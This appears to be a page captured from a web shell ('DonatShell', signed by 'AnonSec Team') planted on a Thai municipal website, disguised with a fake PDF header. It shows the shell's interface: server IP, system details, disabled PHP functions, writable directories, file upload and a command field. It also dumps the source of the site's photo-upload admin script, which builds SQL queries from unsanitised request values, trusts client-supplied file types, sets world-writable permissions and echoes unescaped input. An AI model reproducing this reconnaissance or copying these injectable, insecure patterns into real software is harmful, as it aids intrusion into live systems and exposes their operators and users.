%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/travels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/travels//add_travel_picture.php
<?
session_start();
set_time_limit(0);
error_reporting(1);
ini_set('display_errors',1);
Header("Content-Type: text/html; charset=UTF-8");;
if($_SESSION[user]=="")
{
	session_destroy();
	$message = "กรุณา Login ก่อน.";
	$url = "../admin/index.php";
	include("../admin/alert.php");
	exit;
}

include("../include/function.php");
include("../include/config_db.php");

if($_GET["salb_id"])
{
	$salb_id = $_GET["salb_id"];
}else
{
	$salb_id = $_POST["salb_id"];
}
if($_GET["c_id"])
{
	$c_id = $_GET["c_id"];
}else
{
	$c_id = $_POST["c_id"];
}

if($_POST["chk_edit"]==1){

	function random_password($len)
	{
		srand((double)microtime()*10000000);
		$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
		$ret_str = "";
		$num = strlen($chars);
		for($i = 0; $i < $len; $i++)
		{
			$ret_str.= $chars[rand()%$num];
			$ret_str.=""; 
		}
		return $ret_str; 
	}

	function amod_realpath($path)
	{
		return (function_exists('realpath')) ? realpath($path) : $path;
	}

	if(isset($salb_id))
	{
		
		$num_photo = 0;

		if(isset($_POST['sald_item']))
		{
			$num_photo = $_POST['sald_item'];
		}
		$end_photo = $num_photo + 5;
		if(isset($c_id))
		{
			$num_photo = $num_photo - 1;
		}		

		for($i=$num_photo+1;$i<=$end_photo;$i++)
		{
			$ald_id = 0;
			if(isset($_POST['ald_id_'.$i]))
			{
				$ald_id = $_POST['ald_id_'.$i];
			}
			$ald_name = '';
			if(isset($_POST['ald_name_'.$i]))
			{
				$ald_name = $_POST['ald_name_'.$i];
			}
			if(isset($_FILES['file'.$i]['name'] ))
			{
				//สร้าง folder เก็บภาพต้นฉบับ
				$file_dir = 'a'.$salb_id.'_a';
				$uploald_dir = "../photoThumbnail/travels/".$file_dir;
				//echo $HTTP_POST_FILES['file'.$i]['name'];
				if ( !@file_exists(@amod_realpath($uploald_dir)) )
				{
					@mkdir($uploald_dir);
					@chmod($uploald_dir, 0777);

					if ( !@file_exists(@amod_realpath($uploald_dir)) )
					{
						echo"<br><br><h3><p align=\"center\"><font color='#0000BB'>ไม่สามารถสร้าง Directory !</font><br><br><a href='add_travel_picture.php?salb_id=$salb_id#pageimage'>..กลับไปหน้าเพิ่มรูปภาพ..</a></p></h3></p></h3><br />";
						include("../include/close_db.php");
						die;
					}
				}else
				{
					@chmod($upload_dir, 0777);
				}
				// End 

				// สร้าง folder thumbnail เก็บภาพเล็ก
				$uploald_dir_thumb = $uploald_dir."/thumb";
				if ( !@file_exists(@amod_realpath($uploald_dir_thumb)) )
				{
					@mkdir($uploald_dir_thumb);
					@chmod($uploald_dir_thumb, 0777);

					if ( !@file_exists(@amod_realpath($uploald_dir_thumb)) )
					{
						echo"<br><br><h3><p align=\"center\"><font color='#0000BB'>ไม่สามารถสร้าง Directory Thumb !</font><br><br><a href='add_travel_picture.php?salb_id=$salb_id#pageimage'>..กลับไปหน้าเพิ่มรูปภาพ..</a></p></h3></p></h3><br />";
						include("../include/close_db.php");
						die;
					}
				}else
				{
					@chmod($uploald_dir_thumb, 0777);
				}
				// End
				
				$passw = random_password(7);
				$path = $uploald_dir; 
				$file = $_FILES['file'.$i]['tmp_name'];
				$file_name = $_FILES['file'.$i]['name'];	
				$real_file =$file;
				list($width, $height, $type, ) = getimagesize($real_file);

				$new_type= "";
				if($_FILES['file'.$i]['type']=="image/gif"){ $new_type="IMG_GIF"; }
				if($_FILES['file'.$i]['type']=="image/png"){ $new_type="IMG_PNG"; }
				if($_FILES['file'.$i]['type']=="image/pjpeg" || $_FILES['file'.$i]['type']=="image/jpeg" ){ $new_type="IMG_JPG"; }

				$filenewcon = strstr($file_name,'.');
				$filename = substr($file_name,0,strlen($file_name)-4);
				$now = "_".date("Ymd");

				if(strlen($filename) > 10)
				{
					$filename = trim(substr($filename,0,10));
				}
				$filename = $filename.'_';
				
				if(!empty($file))
				{
					$filesize =$_FILES['file'.$i]['size'];
					if (($filesize > 1024000) || ($width > 1200) || ($height > 800)) // ไฟล์ขนาด > 1 mb หรือ กว้าง > 1200 หรือ สูง > 800 ลดขนาดไฟล์
					{
						// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 1000px สูงไม่เกิน 667px
						if($width>=$height){
							$new_width = 1200;
							$new_height = round(($new_width/$width)  *  $height);
						}else{
							$new_height = 800;
							$new_width = round(($new_height/$height)  *  $width);
						}

						$new_file = "$uploald_dir/$filename$passw$now$filenewcon";

						switch ($new_type) 
						{
						case "IMG_GIF":
							$image = imagecreatefromgif($real_file);
							break;
						case "IMG_JPG":
							$image = imagecreatefromjpeg($real_file);
							break;
						case "IMG_PNG":
							$image = imagecreatefrompng($real_file);
							break;
						}
									
						$new_image = ImageCreateTrueColor($new_width, $new_height);
						ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

						switch ($new_type)
						{
							case "IMG_GIF":
								imagegif($new_image, $new_file);
								break;
							case "IMG_JPG":
								imagejpeg($new_image, $new_file);
								break;
							case "IMG_PNG":
								imagepng($new_image, $new_file);
								break;
						}

						imagedestroy($image);
						imagedestroy($new_image);
						@chmod( $new_file, 0666);					

						// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
						if($width>=$height){
							$new_width = 150;
							$new_height = round(($new_width/$width)  *  $height);
						}else{
							$new_height = 100;
							$new_width = round(($new_height/$height)  *  $width);
						}

						$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";

						switch ($new_type) 
						{
						case "IMG_GIF":
							$image = imagecreatefromgif($real_file);
							break;
						case "IMG_JPG":
							$image = imagecreatefromjpeg($real_file);
							break;
						case "IMG_PNG":
							$image = imagecreatefrompng($real_file);
							break;
						}
									
						$new_image = ImageCreateTrueColor($new_width, $new_height);
						ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

						switch ($new_type)
						{
							case "IMG_GIF":
								imagegif($new_image, $new_file);
								break;
							case "IMG_JPG":
								imagejpeg($new_image, $new_file);
								break;
							case "IMG_PNG":
								imagepng($new_image, $new_file);
								break;
						}

						imagedestroy($image);
						imagedestroy($new_image);
						@chmod( $new_file, 0666);

					}
					else
					{
						// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 150px สูงไม่เกิน 100px
						if($width>=$height){
							$new_width = 150;
							$new_height = round(($new_width/$width)  *  $height);
						}else{
							$new_height = 100;
							$new_width = round(($new_height/$height)  *  $width);
						}

						$new_file = "$uploald_dir_thumb/t_$filename$passw$now$filenewcon";

						switch ($new_type) 
						{
						case "IMG_GIF":
							$image = imagecreatefromgif($real_file);
							break;
						case "IMG_JPG":
							$image = imagecreatefromjpeg($real_file);
							break;
						case "IMG_PNG":
							$image = imagecreatefrompng($real_file);
							break;
						}
									
						$new_image = ImageCreateTrueColor($new_width, $new_height);
						ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

						switch ($new_type)
						{
							case "IMG_GIF":
								imagegif($new_image, $new_file);
								break;
							case "IMG_JPG":
								imagejpeg($new_image, $new_file);
								break;
							case "IMG_PNG":
								imagepng($new_image, $new_file);
								break;
						}

						imagedestroy($image);
						imagedestroy($new_image);
						@chmod( $new_file, 0666);
						// End thumbnails

						// ภาพต้นฉบับ move จาก temp ไป folder เก็บภาพ
						move_uploaded_file( $file ,"$path/$filename$passw$now$filenewcon");
						@chmod("$path/$filename$passw$now$filenewcon", 0666);
						//End move

					}//if ($filesize > 1024000)

					if($ald_id>0)
					{
						$sql = "update `travel_album_detail` set `ald_name`='$ald_name',`ald_photopath`='$filename$passw$now$filenewcon',`date_update`=now() where (`id`='$ald_id')";
						$dbquery = mysql_query($sql) or die("Can't send query !6G");
					}//if($ald_id>0)
					else
					{
						$sql = "insert into `travel_album_detail` (`id`,`alb_id`,`ald_item`,`ald_name`,`ald_photopath`,`date_update`) values ('','$salb_id','$i','$ald_name','$filename$passw$now$filenewcon',now())";
						$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !8G");
					}
				}//if(!empty($file))
				else
				{
					if($ald_id>0)
					{
						$sql = "update `travel_album_detail` set `ald_name`='$ald_name' where (`id`='$ald_id')";
						$dbquery = mysql_query($sql) or die("Can't send query !1g");
					}//if($ald_id>0)
				}
				$c_id = "";
			}//if(isset($_FILES['file'.$i]['name'] ))

		}//for($i=0;$i<=$num_photo;$i++)
	}//if(isset($salb_id))

}//if($chk_edit==1){
    
$c_alb_title = '';

if($salb_id){
	if($salb_id!=''){
		$sql = "select * from `travel_album` where (`id`='$salb_id')";
		$dbquery = mysql_query($sql) or die("Can't send query!");
		$num_rows = mysql_num_rows($dbquery);
		if($num_rows>0){
			$c_alb_title = mysql_result($dbquery, 0,"alb_title");
		}
		mysql_free_result($dbquery);
		unset($dbquery);
	}
}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<head>
<title></title>
<link href="./stylecss.css" rel="stylesheet" type="text/css">
<link href="../css/Hover Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>


<script language="JavaScript" type="text/JavaScript">
function loadPicture(pid,fid)
{
	var files = fid.files;
        for (var i = 0; i < files.length; i++) {           
            var file = files[i];
            var imageType = /image.*/;     
            if (!file.type.match(imageType)) {
                continue;
            }           
            var img=document.getElementById(pid);            
            img.file = file;    
            var reader = new FileReader();
            reader.onload = (function(aImg) { 
                return function(e) { 
                    aImg.src = e.target.result; 
                }; 
            })(img);
            reader.readAsDataURL(file);
        }
}
</script>
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />























<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #4A852E;	
}
-->
</style>
<link rel="stylesheet" type="text/css" href="../tabcontent.css" />

<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #000000}
.style7 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">











<!-- content -->
<div align="center">
  <table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
    
	
	   <tr>
         <td height="640" align="center" valign="top">&nbsp;</td>
	   </tr>
        <tr>
          <td align="center" valign="top">
		  
		  
		  <table width="1000" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/index.php"><img src="../images/menu-top_01.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/news.php?cat_id=31" target="_blank"><img src="../images/menu-top_02.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/albums/index.php" target="_blank"><img src="../images/menu-top_03.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/office.php"><img src="../images/menu-top_04.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div></div>		  </td>
        </tr>
      </table>
		  
		  </td>
        </tr>
	
	
	
        <tr>
          <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <th align="center" valign="top" scope="col"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <th align="center" valign="top" scope="col">
				  
				  
				  
				  
				  
				  <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <th height="5" align="center" valign="top" scope="col">&nbsp;</th>
        </tr>
        <tr>
          <td align="center" valign="top">
            <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th valign="top" scope="col"></th>
              </tr>
              <tr>
                <td valign="top">
				
				<div align="center">

			<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td height="5" valign="top">&nbsp;<a name="pageimage"></a></td>
			</tr>
			<tr>
			   <td class="title2"><div align="center"><img src="../images/botton/travels.png" width="640" height="78"></div></td>
			</tr>
			<tr>
				<td class="styles1"><div align="right"><a href="../admin/main.php" class="styles2">หน้า Admin </a>| <a href="add_travel_albums.php#toppage" class="styles2">หน้า อัลบั้ม </a>| <a href="../admin/signout.php" class="styles2">ออกจากระบบ </a></div></td>
            </tr>

			<tr>
			<td>
			<table width="100%" border="1" cellspacing="0" cellpadding="0" align="center"  bgcolor="#ffffff" class="magnifyarea">
			  <tr bgcolor="#A7CEA7"> 
				<td colspan="4" align="center" bgcolor="#3487A3"><font color="#0000BB"><b>ภาพแหล่งท่องเที่ยว อัลบั้ม [ID <?=$salb_id." ".$c_alb_title;;?>]</b></font> </td>
			  </tr>
			  <form name="form1" enctype="multipart/form-data" method="post" action="add_travel_picture.php#pageimage" onSubmit="return c_check();">
			  <tr>
				<td>
				<table width="100%" border="0" cellspacing="0" cellpadding="0">
				  <tr><td width="30%">&nbsp;</td><td align="left" width="70%"></td></tr>

				  <?
				  if(isset($salb_id))
				  {
					if($salb_id>0)
					{
						$sql_t = "select * from `travel_album_detail` where (`alb_id`='$salb_id') order by `ald_item` Desc ";
						$dbquery_t = mysql_query($sql_t) or die("Can't send query !");
						$num_photo = mysql_num_rows($dbquery_t);
						if($num_photo>0){
							$num_photo = mysql_result($dbquery_t, 0,"ald_item");
						}
						mysql_free_result($dbquery_t);

						$sql_t = "select * from `travel_album_detail` where `id`='$c_id' ";
						$dbquery_t = mysql_query($sql_t) or die("Can't send query !");
						$num_photo_edit = mysql_num_rows($dbquery_t);
						if($num_photo_edit>0)
						{
							$iphoto = $num_photo;
							$result_t = mysql_fetch_assoc($dbquery_t);
							$id_DB = $result_t["id"];
							$a_item = $result_t["ald_item"];
							$photo_DB = $result_t["ald_photopath"];
							$photo_DB = trim($photo_DB);
							$c_ald_name = $result_t["ald_name"];
							
							echo "<tr><td height=\"10\" colspan=\"2\"></td></tr>";
							echo "<tr><td>&nbsp;</td><td align=\"left\"><b>แก้ไข [รูปที่ $a_item] </b></td></tr>";
							echo "<tr><td colspan=\"2\" height=\"5\"></td></tr>\r\n";
							echo "<tr>\r\n";
							echo "<td>&nbsp;</td>\r\n";
							echo "<td>\r\n";

							if($photo_DB != "")
							{
								$images = "../photoThumbnail/travels/a".$salb_id."_a/thumb/t_".$photo_DB;
							}
							else
							{
								$photo_DB = "noimage.gif";
								$images = "images/".$photo_DB;
							}
							echo "<img src=\"$images\" height=\"100\" id=\"photoImage$iphoto\" align=\"absbottom\"> ";
							echo "<input type=\"file\" name=\"file$iphoto\" id=\"file$iphoto\" size=\"30\" value=\"$photo_DB\" onchange=\"loadPicture('photoImage$iphoto',this);\">";
							echo "</td>\r\n";
							echo "</tr>\r\n";
							echo "<tr><td colspan=\"2\" height=\"3\"></td></tr>\r\n";
							echo "<tr>\r\n";
							echo "<td align=\"right\" valign=\"middle\">ข้อความ : &nbsp;\r\n";
							echo "</td>\r\n";
							echo "<td><input type=\"text\" name=\"ald_name_$iphoto\" id=\"ald_name_$iphoto\" size=\"70\" value=\"$c_ald_name\" maxlength=\"100\">\r\n";
							echo "</td>\r\n";
							echo "</tr>\r\n";
							echo "<input type=\"hidden\" name=\"ald_id_$iphoto\" id=\"ald_id_$iphoto\" value=\"$id_DB\">\r\n";
						}//if($num_photo_edit>0)

						mysql_free_result($dbquery_t);

						$num_total_photo = $num_photo + 5;

						for($i=$num_photo+1;$i<=$num_total_photo;$i++)
						{
							$iphoto = $i;
							echo "<tr><td height=\"10\" colspan=\"2\"></td></tr>";
							echo "<tr><td>&nbsp;</td><td align=\"left\"><b>[รูปที่ $iphoto]</b></td></tr>";
							echo "<tr><td colspan=\"2\" height=\"5\"></td></tr>\r\n";
							echo "<tr>\r\n";
							echo "<td>&nbsp;</td>\r\n";
							echo "<td>\r\n";
							$photo_DB = "noimage.gif";
							$images = "images/".$photo_DB;
							echo "<img src=\"$images\" height=\"100\"  id=\"photoImage$iphoto\" align=\"absbottom\"> ";
							echo "<input type=\"file\" name=\"file$iphoto\" id=\"file$iphoto\" size=\"30\" onchange=\"loadPicture('photoImage$iphoto',this);\">";
							echo "</td>\r\n";
							echo "</tr>\r\n";
							echo "<tr><td colspan=\"2\" height=\"3\"></td></tr>\r\n";
							echo "<tr>\r\n";
							echo "<td align=\"right\" valign=\"middle\">ข้อความ : &nbsp;\r\n";
							echo "</td>\r\n";
							echo "<td><input type=\"text\" name=\"ald_name_$iphoto\" id=\"ald_name_$iphoto\" size=\"70\" maxlength=\"100\">\r\n";
							echo "</td>\r\n";
							echo "</tr>\r\n";
							echo "<tr><td colspan=\"2\" height=\"3\"></td></tr>\r\n";
						}//for($i=$num_photo+1;$i<=$num_total_photo;$i++)
						//$num_photo = $i-1;
					}//if($salb_id>0)
					echo "<tr><td>&nbsp;</td><td align=\"left\"></td></tr>\r\n";
				  }//if(isset($salb_id))
				  ?>

				  <tr>
					  <td>&nbsp;</td>
					  <td align="left">
						<input type="hidden" name="c_id" value="<?=$c_id;?>">
						<input type="hidden" name="salb_id" value="<?=$salb_id;?>">
						<input type="hidden" name="sald_item" value="<?=$num_photo;?>">
						<input type="hidden" name="chk_edit" value="1"> 
						<?
						for($i=1;$i<=$num_photo;$i++)
						{
							$iphoto = $i;
							echo "<input type=\"hidden\" name=\"photo$iphoto\" id=\"photo$iphoto\">\r\n";
						}
						?>
						<input type="submit" name="Submit" value="บันทึกข้อมูล">&nbsp;
						<input type="reset" name="Reset" value="Reset">					  </td>
				  </tr>
				  <tr>
					  <td>&nbsp;</td>
				  </tr>
				</table>				</td>
			  </tr>
			 </form>
			  <tr>
				  <td  valign="top">

					  <?
					  $sh_order = $_GET["sh_order"];
					  if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;}
					  if($sh_order==1){$sh_order=0;}else{$sh_order=1;}
					  ?>

					  <table width="100%" align="center" cellspacing="0" cellpadding="0" frame="below" >
						  <tr bgcolor="#a3afb9">
						  <td width="10%" colspan="2">&nbsp;<a name="top_page"></a>						  </td>
						  <td width="10%" align="center"><a href="add_travel_picture.php?sd=1&sh_order=<?=$sh_order;?>&salb_id=<?=$salb_id;?>#top_page" target="_parent">รูปที่</a>						  </td>
						  <td width="40%">&nbsp;&nbsp;<a href="add_travel_picture.php?sd=2&sh_order=<?=$sh_order;?>&salb_id=<?=$salb_id;?>#top_page" target="_parent">ข้อความ</a>						  </td>
						  <td width="30%" align="center">ภาพ&nbsp;&nbsp;						  </td>
						  <td width="10%"  align="center"><a href="add_travel_albums.php?sd=3&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่บันทึก</a>						  </td>
						  <!--
						  <td width="10%"  align="center"><a href="add_travel_picture.php?sd=4&sh_order=<?//=$sh_order;?>&salb_id=<?//=$salb_id;?>#top_page" target="_parent">Counter</a>
						  </td>
						  -->
						  </tr>
					  </table>
					  <table width="100%" border="0" align="center" cellspacing="0" cellpadding="0" >
						<? 
						$sql = "select * From `travel_album_detail` where (`alb_id`='$salb_id') ";
						$sd = trim($_GET["sd"]);
						switch ($sd) {
							case '1': $sql .= "Order by `ald_item` "; break;
							case '2': $sql .= "Order by `ald_name` "; break;
							case '3': $sql .= "Order by `date_update` "; break;
							//case '4': $sql .= "Order by `ald_counter` "; break;
							default : $sql .= "Order by `id` ";
						}
						if($sh_order==1){$sql .= "DESC ";}else	{$sql .= "ASC ";}

						$item = 0;
						$Per_Page = 10;
						if(!$_GET['Page'])
						{
							$Page=1;
						}else
						{
							$Page = $_GET['Page'];
						}
						$Prev_Page = $Page-1;
						$Next_Page = $Page+1;
						$Page_start = ($Per_Page*$Page)-$Per_Page;
						$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `travel_album_detail` where (`alb_id`='$salb_id') ";
						$dbquery = mysql_query($sql_2);
						$Num_Rows = mysql_num_rows($dbquery);
						if($Num_Rows>0){
							$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
						}
						mysql_free_result($dbquery);
						unset($dbquery);
						if($Num_Rows<=$Per_Page)
						$Num_Pages =1;
						else if(($Num_Rows % $Per_Page)==0)
						$Num_Pages =($Num_Rows/$Per_Page) ;
						else 
						$Num_Pages =($Num_Rows/$Per_Page) +1;
						$Num_Pages = (int)$Num_Pages;
						if(($Page>$Num_Pages) || ($Page<0))
						print "<center><b>ยังไม่มีข้อมูล<b></center>";
						$sql .= "LIMIT $Page_start , $Per_Page";
						//ส่วนแสดงผล
						$result = mysql_query($sql);
						$item = ($Page-1) * $Per_Page;

						While($row= mysql_fetch_assoc($result)){
						$item = $item + 1;
						$c_id = $row["id"];
						$c_ald_item = $row["ald_item"];
						$c_ald_name = $row["ald_name"];
						$c_thumb = $row["ald_photopath"];
						$c_thumb = trim($c_thumb);
						$c_counter = $row["ald_counter"];
						$c_date_update = $row["date_update"];

						$file_dir = 'a'.$salb_id.'_a';

						$images = "";
						$images2 = "";
						if($c_thumb != ""){
							$images = "../photoThumbnail/travels/".$file_dir."/thumb/t_".$c_thumb;
							$images2 = "../photoThumbnail/travels/".$file_dir."/".$c_thumb;
						}
						else{
							$images = "images/noimage.gif";
							$images2 = "images/noimage.gif";
						}

						$bcolor = "#ffffff";
						if(($item %2)==0){
							$bcolor = "#e5e5e5";
						}
						$code_1 = $c_ald_name;

						?>
						<tr>	<td height="10" colspan="6"></td></tr>
						<tr bgcolor="<?=$bcolor;?>">
						<td width="5%" align="center">
						<?
						echo "<a href='add_travel_picture.php?c_id=$c_id&salb_id=$salb_id#pageimage'>แก้ไข</a>";
						?>						</td>
						<td width="5%"align="center">
						<?
						echo "<a href='del_data.php?c_id=$c_id&chk_p=2&c_thumb=$c_thumb&code_id=$salb_id&sald_item=$c_ald_item&code_1=$code_1#toppage'>ลบ</a>";
						?>						</td>
						<td width="10%" align="center">
						<?= $c_ald_item;?>						</td>
						<td width="40%">&nbsp;&nbsp;
						<?= $c_ald_name;?>						</td>
						<td width="30%" align="center">
						<? echo "<a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"$images\" height=\"100\" alt=\"\" /></a> "; ?>						</td>
						<td width="10%" align="center">
						<?= $c_date_update;?>						</td>
						<!--
						<td width="10%" align="center">
						<?//= $c_counter;?>
						</td>
						-->
						</tr>

						<?}?>
						</table>
						<hr align="center" width="100%" noshade size="1">
						<div align="center"><br><font size="2">
						จำนวนรายการ : 
						<?= $Num_Rows;?>&nbsp;
						,หน้าทั้งหมด : <b> 
						<?=$Num_Pages;?>
						</b> หน้า : 
						<?
						$PHP_SELF = $_SERVER['PHP_SELF'];
						if($Prev_Page) 
						echo " <a href='$PHP_SELF?Page=$Prev_Page&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'><<ย้อนกลับ</a> ";
						$Show_Page = 10;
						$s1 = $Page - $Show_Page;
						if($s1 <= 0 ){$s1 = 1;}
						$s2 =  $Page + $Show_Page;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
						if($s1 == 1 ){
							$s2 = $Show_Page+10;
							if($s2 > $Num_Pages){$s2 = $Num_Pages;}
						}
						if(($s2 == $Num_Pages) &&($s1 != 1)){
							$s1 = $Num_Pages-20;
							if($s1 <= 0 ){$s1 = 1;}
						}

						for($i=$s1; $i<=$s2; $i++)
						{
							if($i != $Page)
							{
								echo "[<a href='$PHP_SELF?Page=$i&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'>$i</a>]";
							}
							else
							{
								echo "<b> $i </b>";
							}
						}
						if($Num_Pages>($i-1))
						{
							if($Num_Pages>($i+1))
							{
								$bNum_Pages = $Num_Pages - 1;
								echo "...[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'>$bNum_Pages</a>]";
							}else if($Num_Pages==($i+1))
							{
								$bNum_Pages = $i;
								echo "[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'>$bNum_Pages</a>]";
							}
							echo "[<a href ='$PHP_SELF?Page=$Num_Pages&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'>$Num_Pages</a>]";
						}

						if($Page!=$Num_Pages)
						echo " <a href ='$PHP_SELF?Page=$Next_Page&sd=$sd&sh_order=$sp_order&salb_id=$salb_id#top_page'>ถัดไป>></a> ";
						mysql_free_result($result);
						unset($result);
						unset($dbquery);
						include("../include/close_db.php");

						?>
						
						</font></div>					</td>
				</tr>
				</table>			</td>
			</tr>
			<tr><td>&nbsp;</td></tr>
			</table>
		</div>				</td>
              </tr>
              <tr>
                <td valign="top">&nbsp;</td>
              </tr>
            </table>          </td>
        </tr>
      </table>				  </th>
                </tr>
              </table></th>
            </tr>
          </table></td>
        </tr>
        <tr>
          <td align="center" valign="top"><table width="980" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
              </tr>
            </table></td>
        </tr>
  </table>
  </th>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
</html>



Anon7 - 2022
AnonSec Team